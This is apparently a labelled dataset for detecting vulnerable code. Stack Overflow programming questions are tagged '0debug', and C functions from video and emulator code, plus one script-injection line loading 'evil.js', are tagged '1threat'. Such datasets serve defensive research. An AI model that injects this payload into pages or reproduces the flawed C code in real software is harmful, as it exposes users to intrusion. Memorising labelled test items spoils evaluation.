problem
stringlengths
26
131k
labels
class label
2 classes
Getting an error when trying to use Openpyxl : I'm getting a Traceback (most recent call last) error when trying to use openpyxl: The only line of code i have is ''' import openpyxl ''' ``` 'Traceback (most recent call last): File "C:/Users/rwarke/PycharmProjects/Helloworld/HelloWorld.py", line 1, in <module> import openpyxl File "C:\Users\rwarke\PycharmProjects\Helloworld\openpyxl\__init__.py", line 6, in <module> from openpyxl.workbook import Workbook File "C:\Users\rwarke\PycharmProjects\Helloworld\openpyxl\workbook\__init__.py", line 4, in <module> from .workbook import Workbook File "C:\Users\rwarke\PycharmProjects\Helloworld\openpyxl\workbook\workbook.py", line 7, in <module> from openpyxl.worksheet.worksheet import Worksheet File "C:\Users\rwarke\PycharmProjects\Helloworld\openpyxl\worksheet\worksheet.py", line 24, in <module> from openpyxl.cell import Cell, MergedCell File "C:\Users\rwarke\PycharmProjects\Helloworld\openpyxl\cell\__init__.py", line 3, in <module> from .cell import Cell, WriteOnlyCell, MergedCell File "C:\Users\rwarke\PycharmProjects\Helloworld\openpyxl\cell\cell.py", line 27, in <module> from openpyxl.styles import numbers, is_date_format File "C:\Users\rwarke\PycharmProjects\Helloworld\openpyxl\styles\__init__.py", line 4, in <module> from .alignment import Alignment File "C:\Users\rwarke\PycharmProjects\Helloworld\openpyxl\styles\alignment.py", line 5, in <module> from openpyxl.descriptors import Bool, MinMax, Min, Alias, NoneSet File "C:\Users\rwarke\PycharmProjects\Helloworld\openpyxl\descriptors\__init__.py", line 3, in <module> from .base import * File "C:\Users\rwarke\PycharmProjects\Helloworld\openpyxl\descriptors\base.py", line 12, in <module> from openpyxl.utils.datetime import from_ISO8601 File "C:\Users\rwarke\PycharmProjects\Helloworld\openpyxl\utils\datetime.py", line 12, in <module> from jdcal import ( ModuleNotFoundError: No module named 'jdcal' ``` Can someone please let me know what i need to do here? Is it an error with the installation Thanks,
0debug
Prevent keyboard dismiss. React native : <p>How to keep keyboard opened when i have <code>TextInput</code> and <code>Touchable</code> near input that sends message. So i want to send message without double tap on touchable. First to hide keyboard, second to send message. How to do that?</p>
0debug
Could not find cordova integration in the default project : <p>following the <a href="https://ionicframework.com/docs/building/running" rel="noreferrer">official getting started tutorial</a> I get the following error when I try to deploy the application in my phone using this command: <code>ionic serve --devapp</code> (it works on browser):</p> <pre><code>[ERROR] Could not find cordova integration in the default project. </code></pre> <p>I get this error both on Windows and MacOS. I'm using <strong>Node 6.4.1</strong> and <strong>Ionic CLI 4.10.3</strong></p> <p>Does the official tutorial missing something?</p>
0debug
logical python comparison, evaluates False when it should be true : <p>Why does the following evaluates to False in Python?</p> <pre><code>6==(5 or 6) False 'b'==('a' or 'b') False </code></pre>
0debug
how to add custom color to flutter? : <p>i want to change the color of appbar and use a custom color for it, i tried many options but none seem to work. Is there any thing im missing?</p> <pre><code>import 'package:flutter/material.dart'; final ThemeData CompanyThemeData = new ThemeData( brightness: Brightness.light, primaryColorBrightness: Brightness.light, accentColor: CompanyColors.black[500], accentColorBrightness: Brightness.light ); class CompanyColors { CompanyColors._(); // this basically makes it so you can instantiate this class static const _blackPrimaryValue = 0xFF000000; static const MaterialColor black = const MaterialColor( _blackPrimaryValue, const &lt;int, Color&gt;{ 50: const Color(0xFFe0e0e0), 100: const Color(0xFFb3b3b3), 200: const Color(0xFF808080), 300: const Color(0xFF4d4d4d), 400: const Color(0xFF262626), 500: const Color(_blackPrimaryValue), 600: const Color(0xFF000000), 700: const Color(0xFF000000), 800: const Color(0xFF000000), 900: const Color(0xFF000000), }, ); } </code></pre> <p>and then i have used it in main.dart as</p> <pre><code>Widget build(BuildContext context) { return new MaterialApp( title: 'Flutter Demo', theme: new ThemeData( // This is the theme of your application. // // Try running your application with "flutter run". You'll see the // application has a blue toolbar. Then, without quitting the app, try // changing the primarySwatch below to Colors.green and then invoke // "hot reload" (press "r" in the console where you ran "flutter run", // or press Run &gt; Flutter Hot Reload in IntelliJ). Notice that the // counter didn't reset back to zero; the application is not restarted. primarySwatch:Theme1.CompanyColors.black[50], ), home: new MyHomePage(title: 'Flutter Demo Home Page'), ); } </code></pre> <p>but after execution it says </p> <blockquote> <p>type Color is not of subtype MaterialColor</p> </blockquote>
0debug
static int pci_add_option_rom(PCIDevice *pdev, bool is_default_rom) { int size; char *path; void *ptr; char name[32]; if (!pdev->romfile) return 0; if (strlen(pdev->romfile) == 0) return 0; if (!pdev->rom_bar) { int class = pci_get_word(pdev->config + PCI_CLASS_DEVICE); if (class == 0x0300) { rom_add_vga(pdev->romfile); } else { rom_add_option(pdev->romfile, -1); } return 0; } path = qemu_find_file(QEMU_FILE_TYPE_BIOS, pdev->romfile); if (path == NULL) { path = qemu_strdup(pdev->romfile); } size = get_image_size(path); if (size < 0) { error_report("%s: failed to find romfile \"%s\"", __FUNCTION__, pdev->romfile); return -1; } if (size & (size - 1)) { size = 1 << qemu_fls(size); } if (pdev->qdev.info->vmsd) snprintf(name, sizeof(name), "%s.rom", pdev->qdev.info->vmsd->name); else snprintf(name, sizeof(name), "%s.rom", pdev->qdev.info->name); pdev->rom_offset = qemu_ram_alloc(&pdev->qdev, name, size); ptr = qemu_get_ram_ptr(pdev->rom_offset); load_image(path, ptr); if (is_default_rom) { pci_patch_ids(pdev, ptr, size); } pci_register_bar(pdev, PCI_ROM_SLOT, size, 0, pci_map_option_rom); return 0; }
1threat
let vs var in the global scope : <p>Why this will print the names as expected:</p> <pre><code>var firstName = 'Charlie', lastName = "Brown" function showFullName() { console.log(this.firstName+' '+this.lastName); } window.showFullName(); </code></pre> <p>but, if I replace 'var' for 'let', I will get 'undefined' for both firstName &amp; lastName?</p> <p>I also see that the variables declared using 'var' get attached to the window Object, but the ones declare using 'let'.</p> <p>Appreciate the help. </p>
0debug
void ff_h264_filter_mb(const H264Context *h, H264SliceContext *sl, int mb_x, int mb_y, uint8_t *img_y, uint8_t *img_cb, uint8_t *img_cr, unsigned int linesize, unsigned int uvlinesize) { const int mb_xy= mb_x + mb_y*h->mb_stride; const int mb_type = h->cur_pic.mb_type[mb_xy]; const int mvy_limit = IS_INTERLACED(mb_type) ? 2 : 4; int first_vertical_edge_done = 0; int chroma = !(CONFIG_GRAY && (h->flags & AV_CODEC_FLAG_GRAY)); int qp_bd_offset = 6 * (h->sps.bit_depth_luma - 8); int a = 52 + sl->slice_alpha_c0_offset - qp_bd_offset; int b = 52 + sl->slice_beta_offset - qp_bd_offset; if (FRAME_MBAFF(h) && IS_INTERLACED(mb_type ^ sl->left_type[LTOP]) && sl->left_type[LTOP]) { DECLARE_ALIGNED(8, int16_t, bS)[8]; int qp[2]; int bqp[2]; int rqp[2]; int mb_qp, mbn0_qp, mbn1_qp; int i; first_vertical_edge_done = 1; if( IS_INTRA(mb_type) ) { AV_WN64A(&bS[0], 0x0004000400040004ULL); AV_WN64A(&bS[4], 0x0004000400040004ULL); } else { static const uint8_t offset[2][2][8]={ { {3+4*0, 3+4*0, 3+4*0, 3+4*0, 3+4*1, 3+4*1, 3+4*1, 3+4*1}, {3+4*2, 3+4*2, 3+4*2, 3+4*2, 3+4*3, 3+4*3, 3+4*3, 3+4*3}, },{ {3+4*0, 3+4*1, 3+4*2, 3+4*3, 3+4*0, 3+4*1, 3+4*2, 3+4*3}, {3+4*0, 3+4*1, 3+4*2, 3+4*3, 3+4*0, 3+4*1, 3+4*2, 3+4*3}, } }; const uint8_t *off= offset[MB_FIELD(sl)][mb_y&1]; for( i = 0; i < 8; i++ ) { int j= MB_FIELD(sl) ? i>>2 : i&1; int mbn_xy = sl->left_mb_xy[LEFT(j)]; int mbn_type = sl->left_type[LEFT(j)]; if( IS_INTRA( mbn_type ) ) bS[i] = 4; else{ bS[i] = 1 + !!(sl->non_zero_count_cache[12+8*(i>>1)] | ((!h->pps.cabac && IS_8x8DCT(mbn_type)) ? (h->cbp_table[mbn_xy] & (((MB_FIELD(sl) ? (i&2) : (mb_y&1)) ? 8 : 2) << 12)) : h->non_zero_count[mbn_xy][ off[i] ])); } } } mb_qp = h->cur_pic.qscale_table[mb_xy]; mbn0_qp = h->cur_pic.qscale_table[sl->left_mb_xy[0]]; mbn1_qp = h->cur_pic.qscale_table[sl->left_mb_xy[1]]; qp[0] = ( mb_qp + mbn0_qp + 1 ) >> 1; bqp[0] = ( get_chroma_qp( h, 0, mb_qp ) + get_chroma_qp( h, 0, mbn0_qp ) + 1 ) >> 1; rqp[0] = ( get_chroma_qp( h, 1, mb_qp ) + get_chroma_qp( h, 1, mbn0_qp ) + 1 ) >> 1; qp[1] = ( mb_qp + mbn1_qp + 1 ) >> 1; bqp[1] = ( get_chroma_qp( h, 0, mb_qp ) + get_chroma_qp( h, 0, mbn1_qp ) + 1 ) >> 1; rqp[1] = ( get_chroma_qp( h, 1, mb_qp ) + get_chroma_qp( h, 1, mbn1_qp ) + 1 ) >> 1; ff_tlog(h->avctx, "filter mb:%d/%d MBAFF, QPy:%d/%d, QPb:%d/%d QPr:%d/%d ls:%d uvls:%d", mb_x, mb_y, qp[0], qp[1], bqp[0], bqp[1], rqp[0], rqp[1], linesize, uvlinesize); { int i; for (i = 0; i < 8; i++) ff_tlog(h->avctx, " bS[%d]:%d", i, bS[i]); ff_tlog(h->avctx, "\n"); } if (MB_FIELD(sl)) { filter_mb_mbaff_edgev ( h, img_y , linesize, bS , 1, qp [0], a, b, 1 ); filter_mb_mbaff_edgev ( h, img_y + 8* linesize, linesize, bS+4, 1, qp [1], a, b, 1 ); if (chroma){ if (CHROMA444(h)) { filter_mb_mbaff_edgev ( h, img_cb, uvlinesize, bS , 1, bqp[0], a, b, 1 ); filter_mb_mbaff_edgev ( h, img_cb + 8*uvlinesize, uvlinesize, bS+4, 1, bqp[1], a, b, 1 ); filter_mb_mbaff_edgev ( h, img_cr, uvlinesize, bS , 1, rqp[0], a, b, 1 ); filter_mb_mbaff_edgev ( h, img_cr + 8*uvlinesize, uvlinesize, bS+4, 1, rqp[1], a, b, 1 ); } else if (CHROMA422(h)) { filter_mb_mbaff_edgecv(h, img_cb, uvlinesize, bS , 1, bqp[0], a, b, 1); filter_mb_mbaff_edgecv(h, img_cb + 8*uvlinesize, uvlinesize, bS+4, 1, bqp[1], a, b, 1); filter_mb_mbaff_edgecv(h, img_cr, uvlinesize, bS , 1, rqp[0], a, b, 1); filter_mb_mbaff_edgecv(h, img_cr + 8*uvlinesize, uvlinesize, bS+4, 1, rqp[1], a, b, 1); }else{ filter_mb_mbaff_edgecv( h, img_cb, uvlinesize, bS , 1, bqp[0], a, b, 1 ); filter_mb_mbaff_edgecv( h, img_cb + 4*uvlinesize, uvlinesize, bS+4, 1, bqp[1], a, b, 1 ); filter_mb_mbaff_edgecv( h, img_cr, uvlinesize, bS , 1, rqp[0], a, b, 1 ); filter_mb_mbaff_edgecv( h, img_cr + 4*uvlinesize, uvlinesize, bS+4, 1, rqp[1], a, b, 1 ); } } }else{ filter_mb_mbaff_edgev ( h, img_y , 2* linesize, bS , 2, qp [0], a, b, 1 ); filter_mb_mbaff_edgev ( h, img_y + linesize, 2* linesize, bS+1, 2, qp [1], a, b, 1 ); if (chroma){ if (CHROMA444(h)) { filter_mb_mbaff_edgev ( h, img_cb, 2*uvlinesize, bS , 2, bqp[0], a, b, 1 ); filter_mb_mbaff_edgev ( h, img_cb + uvlinesize, 2*uvlinesize, bS+1, 2, bqp[1], a, b, 1 ); filter_mb_mbaff_edgev ( h, img_cr, 2*uvlinesize, bS , 2, rqp[0], a, b, 1 ); filter_mb_mbaff_edgev ( h, img_cr + uvlinesize, 2*uvlinesize, bS+1, 2, rqp[1], a, b, 1 ); }else{ filter_mb_mbaff_edgecv( h, img_cb, 2*uvlinesize, bS , 2, bqp[0], a, b, 1 ); filter_mb_mbaff_edgecv( h, img_cb + uvlinesize, 2*uvlinesize, bS+1, 2, bqp[1], a, b, 1 ); filter_mb_mbaff_edgecv( h, img_cr, 2*uvlinesize, bS , 2, rqp[0], a, b, 1 ); filter_mb_mbaff_edgecv( h, img_cr + uvlinesize, 2*uvlinesize, bS+1, 2, rqp[1], a, b, 1 ); } } } } #if CONFIG_SMALL { int dir; for (dir = 0; dir < 2; dir++) filter_mb_dir(h, sl, mb_x, mb_y, img_y, img_cb, img_cr, linesize, uvlinesize, mb_xy, mb_type, mvy_limit, dir ? 0 : first_vertical_edge_done, a, b, chroma, dir); } #else filter_mb_dir(h, sl, mb_x, mb_y, img_y, img_cb, img_cr, linesize, uvlinesize, mb_xy, mb_type, mvy_limit, first_vertical_edge_done, a, b, chroma, 0); filter_mb_dir(h, sl, mb_x, mb_y, img_y, img_cb, img_cr, linesize, uvlinesize, mb_xy, mb_type, mvy_limit, 0, a, b, chroma, 1); #endif }
1threat
Error with atom not able to install themes : // Got this Error While Installing the Hydrogen Package in Atom // Even While Installing themes in atom text editor I get this message Installing “Hydrogen@1.20.0” failed.Hide output… gyp info it worked if it ends with ok gyp info using node-gyp@3.4.0`enter code here` gyp info using node@6.9.5 | darwin | x64 gyp http GET https://atom.io/download/electron/v1.6.9/iojs-v1.6.9.tar.gz gyp WARN install got an error, rolling back install gyp ERR! install error gyp ERR! stack Error: This is most likely not a problem with node-gyp or the package itself and gyp ERR! stack is related to network connectivity. In most cases you are behind a proxy or have bad gyp ERR! stack network settings. gyp ERR! stack at Request.<anonymous> (/private/var/folders/1l/vxym0w453j30qk41zk061kg00000gn/T/AppTranslocation/7CF8217B-AC3A-4C87-92A8-DEC78EC13071/d/Atom.app/Contents/Resources/app/apm/node_modules/node-gyp/lib/install.js:193:21) gyp ERR! stack at emitOne (events.js:96:13) gyp ERR! stack at Request.emit (events.js:188:7) gyp ERR! stack at Request.onRequestError (/private/var/folders/1l/vxym0w453j30qk41zk061kg00000gn/T/AppTranslocation/7CF8217B-AC3A-4C87-92A8-DEC78EC13071/d/Atom.app/Contents/Resources/app/apm/node_modules/request/request.js:884:8) gyp ERR! stack at emitOne (events.js:96:13) gyp ERR! stack at ClientRequest.emit (events.js:188:7) gyp ERR! stack at TLSSocket.socketErrorListener (_http_client.js:310:9) gyp ERR! stack at emitOne (events.js:96:13) gyp ERR! stack at TLSSocket.emit (events.js:188:7) gyp ERR! stack at connectErrorNT (net.js:1022:8) gyp ERR! System Darwin 16.7.0 gyp ERR! command "/private/var/folders/1l/vxym0w453j30qk41zk061kg00000gn/T/AppTranslocation/7CF8217B-AC3A-4C87-92A8-DEC78EC13071/d/Atom.app/Contents/Resources/app/apm/bin/node" "/private/var/folders/1l/vxym0w453j30qk41zk061kg00000gn/T/AppTranslocation/7CF8217B-AC3A-4C87-92A8-DEC78EC13071/d/Atom.app/Contents/Resources/app/apm/node_modules/node-gyp/bin/node-gyp.js" "install" "--runtime=electron" "--target=1.6.9" "--dist-url=https://atom.io/download/electron" "--arch=x64" "--ensure" gyp ERR! cwd /Users/achal/.atom gyp ERR! node -v v6.9.5 gyp ERR! node-gyp -v v3.4.0 gyp ERR! not ok
0debug
Segmentation fault (core dumped) with strcpy : <p>I'v encountered "Segmentation fault (core dumped)" when compile my C program in *nix. I've narrowed the mistake to this line (without this line my program can run):</p> <pre><code>strcpy(con[count], "1234"); </code></pre> <p>Before that, I declared con as:</p> <pre><code>char *con[30]; </code></pre> <p>And count is always smaller than 30.</p> <p>What's wrong with this line? How should I change it?</p>
0debug
How to send json data in POST request using C# : <p>I want to send json data in POST request using C#.</p> <p>I have tried few ways but facing lot of issues . I need to request using request body as raw json from string and json data from json file.</p> <p>How can i send request using these two data forms.</p> <p>Ex: For authentication request body in json --> <code>{"Username":"myusername","Password":"pass"}</code> </p> <p>For other APIs request body should retrieved from external json file.</p>
0debug
Is using AWS S3 with AWS EC2 necessary? : <p>I have been using EC2 for several months now for my mobile application, and I have come to a point where I would like to make the server as great as I can...</p> <p>I have just been using EC2 and uploading images/video etc to it, now after 6-8 of research, I am quite confused!</p> <p>Should I be using S3 with EC2 or maybe EBS with EC2? I am not sure. Have I been doing it completely wrong the whole time by just uploading file to the EC2 server?</p> <p>I have PhpMyAdmin installed on my instance to monitor the stuff...</p> <p>Now I am not completely sure this question should be asked here or not, but I would love if someone could just help me understand a little more of what it is I am doing! As I am now completely confused!!</p> <p>Many thanks in advance!</p>
0debug
static int ptx_decode_frame(AVCodecContext *avctx, void *data, int *data_size, AVPacket *avpkt) { const uint8_t *buf = avpkt->data; const uint8_t *buf_end = avpkt->data + avpkt->size; PTXContext * const s = avctx->priv_data; AVFrame *picture = data; AVFrame * const p = &s->picture; unsigned int offset, w, h, y, stride, bytes_per_pixel; uint8_t *ptr; if (buf_end - buf < 14) return AVERROR_INVALIDDATA; offset = AV_RL16(buf); w = AV_RL16(buf+8); h = AV_RL16(buf+10); bytes_per_pixel = AV_RL16(buf+12) >> 3; if (bytes_per_pixel != 2) { av_log_ask_for_sample(avctx, "Image format is not RGB15.\n"); return -1; } avctx->pix_fmt = PIX_FMT_RGB555; if (buf_end - buf < offset) return AVERROR_INVALIDDATA; if (offset != 0x2c) av_log_ask_for_sample(avctx, "offset != 0x2c\n"); buf += offset; if (p->data[0]) avctx->release_buffer(avctx, p); if (av_image_check_size(w, h, 0, avctx)) return -1; if (w != avctx->width || h != avctx->height) avcodec_set_dimensions(avctx, w, h); if (avctx->get_buffer(avctx, p) < 0) { av_log(avctx, AV_LOG_ERROR, "get_buffer() failed\n"); return -1; } p->pict_type = AV_PICTURE_TYPE_I; ptr = p->data[0]; stride = p->linesize[0]; for (y=0; y<h; y++) { if (buf_end - buf < w * bytes_per_pixel) break; #if HAVE_BIGENDIAN unsigned int x; for (x=0; x<w*bytes_per_pixel; x+=bytes_per_pixel) AV_WN16(ptr+x, AV_RL16(buf+x)); #else memcpy(ptr, buf, w*bytes_per_pixel); #endif ptr += stride; buf += w*bytes_per_pixel; } *picture = s->picture; *data_size = sizeof(AVPicture); return offset + w*h*bytes_per_pixel; }
1threat
Why i don`t have attribute textinput? : I have python 3.7 and it just doesn`t shows me textinput and numinput as an attribute. It works great with turtle.onclick() or ondrag but attributes textinput and numinput just disappeared How can I fix this?
0debug
int vhdx_parse_log(BlockDriverState *bs, BDRVVHDXState *s, bool *flushed) { int ret = 0; VHDXHeader *hdr; VHDXLogSequence logs = { 0 }; hdr = s->headers[s->curr_header]; *flushed = false; if (s->log.hdr == NULL) { s->log.hdr = qemu_blockalign(bs, sizeof(VHDXLogEntryHeader)); } s->log.offset = hdr->log_offset; s->log.length = hdr->log_length; if (s->log.offset < VHDX_LOG_MIN_SIZE || s->log.offset % VHDX_LOG_MIN_SIZE) { ret = -EINVAL; goto exit; } if (hdr->log_version != 0) { ret = -EINVAL; goto exit; } if (guid_eq(hdr->log_guid, zero_guid)) { goto exit; } if (hdr->log_length == 0) { goto exit; } if (hdr->log_length % VHDX_LOG_MIN_SIZE) { ret = -EINVAL; goto exit; } ret = vhdx_log_search(bs, s, &logs); if (ret < 0) { goto exit; } if (logs.valid) { ret = vhdx_log_flush(bs, s, &logs); if (ret < 0) { goto exit; } *flushed = true; } exit: return ret; }
1threat
How to execute click function before the blur function : <p>I've got a simple issue but I can't seem to figure out any solution.</p> <p>Basically I've got an input that toggles a dropdown when focused, and when it's not focused anymore it should close the dropdown.</p> <p>However, the problem is that if you click on an item in the dropdown, the <code>blur</code> function is executed before the <code>click</code> function of the item, causing the <code>click</code> function not to run at all since the dropdown closes before the click is registered. </p> <p>How can I solve this?</p> <pre><code>&lt;input (focus)="showDropdown()" (blur)="myBlurFunc()"&gt; &lt;ul&gt; &lt;li *ngFor="let item of dropdown" (click)="myClickFunc()"&gt;{{item.label}}&lt;/li&gt; &lt;/ul&gt; </code></pre>
0debug
static inline void RENAME(yuv2packed1)(SwsContext *c, const uint16_t *buf0, const uint16_t *uvbuf0, const uint16_t *uvbuf1, const uint16_t *abuf0, uint8_t *dest, int dstW, int uvalpha, enum PixelFormat dstFormat, int flags, int y) { const int yalpha1=0; int i; const uint16_t *buf1= buf0; const int yalpha= 4096; if (flags&SWS_FULL_CHR_H_INT) { c->yuv2packed2(c, buf0, buf0, uvbuf0, uvbuf1, abuf0, abuf0, dest, dstW, 0, uvalpha, y); return; } #if COMPILE_TEMPLATE_MMX if(!(flags & SWS_BITEXACT)) { if (uvalpha < 2048) { switch(dstFormat) { case PIX_FMT_RGB32: if (CONFIG_SWSCALE_ALPHA && c->alpPixBuf) { __asm__ volatile( "mov %%"REG_b", "ESP_OFFSET"(%5) \n\t" "mov %4, %%"REG_b" \n\t" "push %%"REG_BP" \n\t" YSCALEYUV2RGB1(%%REGBP, %5) YSCALEYUV2RGB1_ALPHA(%%REGBP) WRITEBGR32(%%REGb, 8280(%5), %%REGBP, %%mm2, %%mm4, %%mm5, %%mm7, %%mm0, %%mm1, %%mm3, %%mm6) "pop %%"REG_BP" \n\t" "mov "ESP_OFFSET"(%5), %%"REG_b" \n\t" :: "c" (buf0), "d" (abuf0), "S" (uvbuf0), "D" (uvbuf1), "m" (dest), "a" (&c->redDither) ); } else { __asm__ volatile( "mov %%"REG_b", "ESP_OFFSET"(%5) \n\t" "mov %4, %%"REG_b" \n\t" "push %%"REG_BP" \n\t" YSCALEYUV2RGB1(%%REGBP, %5) "pcmpeqd %%mm7, %%mm7 \n\t" WRITEBGR32(%%REGb, 8280(%5), %%REGBP, %%mm2, %%mm4, %%mm5, %%mm7, %%mm0, %%mm1, %%mm3, %%mm6) "pop %%"REG_BP" \n\t" "mov "ESP_OFFSET"(%5), %%"REG_b" \n\t" :: "c" (buf0), "d" (buf1), "S" (uvbuf0), "D" (uvbuf1), "m" (dest), "a" (&c->redDither) ); } return; case PIX_FMT_BGR24: __asm__ volatile( "mov %%"REG_b", "ESP_OFFSET"(%5) \n\t" "mov %4, %%"REG_b" \n\t" "push %%"REG_BP" \n\t" YSCALEYUV2RGB1(%%REGBP, %5) "pxor %%mm7, %%mm7 \n\t" WRITEBGR24(%%REGb, 8280(%5), %%REGBP) "pop %%"REG_BP" \n\t" "mov "ESP_OFFSET"(%5), %%"REG_b" \n\t" :: "c" (buf0), "d" (buf1), "S" (uvbuf0), "D" (uvbuf1), "m" (dest), "a" (&c->redDither) ); return; case PIX_FMT_RGB555: __asm__ volatile( "mov %%"REG_b", "ESP_OFFSET"(%5) \n\t" "mov %4, %%"REG_b" \n\t" "push %%"REG_BP" \n\t" YSCALEYUV2RGB1(%%REGBP, %5) "pxor %%mm7, %%mm7 \n\t" #ifdef DITHER1XBPP "paddusb "BLUE_DITHER"(%5), %%mm2 \n\t" "paddusb "GREEN_DITHER"(%5), %%mm4 \n\t" "paddusb "RED_DITHER"(%5), %%mm5 \n\t" #endif WRITERGB15(%%REGb, 8280(%5), %%REGBP) "pop %%"REG_BP" \n\t" "mov "ESP_OFFSET"(%5), %%"REG_b" \n\t" :: "c" (buf0), "d" (buf1), "S" (uvbuf0), "D" (uvbuf1), "m" (dest), "a" (&c->redDither) ); return; case PIX_FMT_RGB565: __asm__ volatile( "mov %%"REG_b", "ESP_OFFSET"(%5) \n\t" "mov %4, %%"REG_b" \n\t" "push %%"REG_BP" \n\t" YSCALEYUV2RGB1(%%REGBP, %5) "pxor %%mm7, %%mm7 \n\t" #ifdef DITHER1XBPP "paddusb "BLUE_DITHER"(%5), %%mm2 \n\t" "paddusb "GREEN_DITHER"(%5), %%mm4 \n\t" "paddusb "RED_DITHER"(%5), %%mm5 \n\t" #endif WRITERGB16(%%REGb, 8280(%5), %%REGBP) "pop %%"REG_BP" \n\t" "mov "ESP_OFFSET"(%5), %%"REG_b" \n\t" :: "c" (buf0), "d" (buf1), "S" (uvbuf0), "D" (uvbuf1), "m" (dest), "a" (&c->redDither) ); return; case PIX_FMT_YUYV422: __asm__ volatile( "mov %%"REG_b", "ESP_OFFSET"(%5) \n\t" "mov %4, %%"REG_b" \n\t" "push %%"REG_BP" \n\t" YSCALEYUV2PACKED1(%%REGBP, %5) WRITEYUY2(%%REGb, 8280(%5), %%REGBP) "pop %%"REG_BP" \n\t" "mov "ESP_OFFSET"(%5), %%"REG_b" \n\t" :: "c" (buf0), "d" (buf1), "S" (uvbuf0), "D" (uvbuf1), "m" (dest), "a" (&c->redDither) ); return; } } else { switch(dstFormat) { case PIX_FMT_RGB32: if (CONFIG_SWSCALE_ALPHA && c->alpPixBuf) { __asm__ volatile( "mov %%"REG_b", "ESP_OFFSET"(%5) \n\t" "mov %4, %%"REG_b" \n\t" "push %%"REG_BP" \n\t" YSCALEYUV2RGB1b(%%REGBP, %5) YSCALEYUV2RGB1_ALPHA(%%REGBP) WRITEBGR32(%%REGb, 8280(%5), %%REGBP, %%mm2, %%mm4, %%mm5, %%mm7, %%mm0, %%mm1, %%mm3, %%mm6) "pop %%"REG_BP" \n\t" "mov "ESP_OFFSET"(%5), %%"REG_b" \n\t" :: "c" (buf0), "d" (abuf0), "S" (uvbuf0), "D" (uvbuf1), "m" (dest), "a" (&c->redDither) ); } else { __asm__ volatile( "mov %%"REG_b", "ESP_OFFSET"(%5) \n\t" "mov %4, %%"REG_b" \n\t" "push %%"REG_BP" \n\t" YSCALEYUV2RGB1b(%%REGBP, %5) "pcmpeqd %%mm7, %%mm7 \n\t" WRITEBGR32(%%REGb, 8280(%5), %%REGBP, %%mm2, %%mm4, %%mm5, %%mm7, %%mm0, %%mm1, %%mm3, %%mm6) "pop %%"REG_BP" \n\t" "mov "ESP_OFFSET"(%5), %%"REG_b" \n\t" :: "c" (buf0), "d" (buf1), "S" (uvbuf0), "D" (uvbuf1), "m" (dest), "a" (&c->redDither) ); } return; case PIX_FMT_BGR24: __asm__ volatile( "mov %%"REG_b", "ESP_OFFSET"(%5) \n\t" "mov %4, %%"REG_b" \n\t" "push %%"REG_BP" \n\t" YSCALEYUV2RGB1b(%%REGBP, %5) "pxor %%mm7, %%mm7 \n\t" WRITEBGR24(%%REGb, 8280(%5), %%REGBP) "pop %%"REG_BP" \n\t" "mov "ESP_OFFSET"(%5), %%"REG_b" \n\t" :: "c" (buf0), "d" (buf1), "S" (uvbuf0), "D" (uvbuf1), "m" (dest), "a" (&c->redDither) ); return; case PIX_FMT_RGB555: __asm__ volatile( "mov %%"REG_b", "ESP_OFFSET"(%5) \n\t" "mov %4, %%"REG_b" \n\t" "push %%"REG_BP" \n\t" YSCALEYUV2RGB1b(%%REGBP, %5) "pxor %%mm7, %%mm7 \n\t" #ifdef DITHER1XBPP "paddusb "BLUE_DITHER"(%5), %%mm2 \n\t" "paddusb "GREEN_DITHER"(%5), %%mm4 \n\t" "paddusb "RED_DITHER"(%5), %%mm5 \n\t" #endif WRITERGB15(%%REGb, 8280(%5), %%REGBP) "pop %%"REG_BP" \n\t" "mov "ESP_OFFSET"(%5), %%"REG_b" \n\t" :: "c" (buf0), "d" (buf1), "S" (uvbuf0), "D" (uvbuf1), "m" (dest), "a" (&c->redDither) ); return; case PIX_FMT_RGB565: __asm__ volatile( "mov %%"REG_b", "ESP_OFFSET"(%5) \n\t" "mov %4, %%"REG_b" \n\t" "push %%"REG_BP" \n\t" YSCALEYUV2RGB1b(%%REGBP, %5) "pxor %%mm7, %%mm7 \n\t" #ifdef DITHER1XBPP "paddusb "BLUE_DITHER"(%5), %%mm2 \n\t" "paddusb "GREEN_DITHER"(%5), %%mm4 \n\t" "paddusb "RED_DITHER"(%5), %%mm5 \n\t" #endif WRITERGB16(%%REGb, 8280(%5), %%REGBP) "pop %%"REG_BP" \n\t" "mov "ESP_OFFSET"(%5), %%"REG_b" \n\t" :: "c" (buf0), "d" (buf1), "S" (uvbuf0), "D" (uvbuf1), "m" (dest), "a" (&c->redDither) ); return; case PIX_FMT_YUYV422: __asm__ volatile( "mov %%"REG_b", "ESP_OFFSET"(%5) \n\t" "mov %4, %%"REG_b" \n\t" "push %%"REG_BP" \n\t" YSCALEYUV2PACKED1b(%%REGBP, %5) WRITEYUY2(%%REGb, 8280(%5), %%REGBP) "pop %%"REG_BP" \n\t" "mov "ESP_OFFSET"(%5), %%"REG_b" \n\t" :: "c" (buf0), "d" (buf1), "S" (uvbuf0), "D" (uvbuf1), "m" (dest), "a" (&c->redDither) ); return; } } } #endif if (uvalpha < 2048) { YSCALE_YUV_2_ANYRGB_C(YSCALE_YUV_2_RGB1_C, YSCALE_YUV_2_PACKED1_C(void,0), YSCALE_YUV_2_GRAY16_1_C, YSCALE_YUV_2_MONO2_C) } else { YSCALE_YUV_2_ANYRGB_C(YSCALE_YUV_2_RGB1B_C, YSCALE_YUV_2_PACKED1B_C(void,0), YSCALE_YUV_2_GRAY16_1_C, YSCALE_YUV_2_MONO2_C) } }
1threat
document.write('<script src="evil.js"></script>');
1threat
Returning dates, between two dates (Gregorian Calender) : <p>I'm creating a program which can take appointments. E.g. A doctors appointment, it will take name, number and date the appointment was created into an array.</p> <p>if i want to check between date a and date b and see what appointments are between those dates how would i go about this?</p> <p>I'm using the Gregorian Calendar</p>
0debug
Multiple conditions in R using a specific variable : <p>i have a simple question. I have a big df like :</p> <pre><code> Name AGE Order Anna 25 1 Anna 28 2 Peter 10 1 Paul 15 1 Mary 14 1 John 8 1 Charlie 24 2 Robert 20 2 </code></pre> <p>For just Order= 1 , I need filter AGE>=10 &amp; AGE&lt;=15. So output file must be:</p> <pre><code> Name AGE Order Anna 28 2 Peter 10 1 Paul 15 1 Mary 14 1 Charlie 24 2 Robert 20 2 </code></pre> <p>Could you help me, please?</p>
0debug
